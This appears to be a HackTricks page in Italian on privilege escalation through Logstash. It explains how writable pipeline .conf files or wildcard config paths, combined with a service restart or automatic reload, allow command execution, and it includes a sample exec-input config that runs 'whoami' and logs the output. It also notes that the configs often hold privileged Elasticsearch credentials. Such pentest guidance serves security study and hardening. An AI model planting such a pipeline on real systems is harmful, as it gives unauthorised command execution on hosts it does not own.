Logstash

Support HackTricks

Logstash

Logstash viene utilizzato per raccogliere, trasformare e inviare log attraverso un sistema noto come pipeline. Queste pipeline sono composte da fasi di input, filter e output. Un aspetto interessante si presenta quando Logstash opera su una macchina compromessa.

Configurazione della Pipeline

Le pipeline sono configurate nel file /etc/logstash/pipelines.yml, che elenca le posizioni delle configurazioni delle pipeline:

# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html

- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6

Questo file rivela dove si trovano i file .conf, contenenti configurazioni dei pipeline. Quando si utilizza un modulo di output Elasticsearch, è comune che i pipeline includano credenziali Elasticsearch, che spesso possiedono ampi privilegi a causa della necessità di Logstash di scrivere dati su Elasticsearch. I caratteri jolly nei percorsi di configurazione consentono a Logstash di eseguire tutti i pipeline corrispondenti nella directory designata.

Escalation dei privilegi tramite pipeline scrivibili

Per tentare un'escalation dei privilegi, prima identifica l'utente sotto il quale il servizio Logstash è in esecuzione, tipicamente l'utente logstash. Assicurati di soddisfare uno di questi criteri:

  • Possedere accesso in scrittura a un file .conf del pipeline oppure

  • Il file /etc/logstash/pipelines.yml utilizza un carattere jolly e puoi scrivere nella cartella di destinazione

Inoltre, una di queste condizioni deve essere soddisfatta:

  • Capacità di riavviare il servizio Logstash oppure

  • Il file /etc/logstash/logstash.yml ha config.reload.automatic: true impostato

Data la presenza di un carattere jolly nella configurazione, creare un file che corrisponde a questo carattere jolly consente l'esecuzione di comandi. Ad esempio:

input {
exec {
command => "whoami"
interval => 120
}
}

output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
}

Qui, interval determina la frequenza di esecuzione in secondi. Nell'esempio fornito, il comando whoami viene eseguito ogni 120 secondi, con il suo output diretto a /tmp/output.log.

Con config.reload.automatic: true in /etc/logstash/logstash.yml, Logstash rileverà e applicherà automaticamente nuove o modificate configurazioni della pipeline senza necessità di riavvio. Se non c'è un carattere jolly, le modifiche possono comunque essere apportate alle configurazioni esistenti, ma si consiglia cautela per evitare interruzioni.

Riferimenti

Supporta HackTricks

Last updated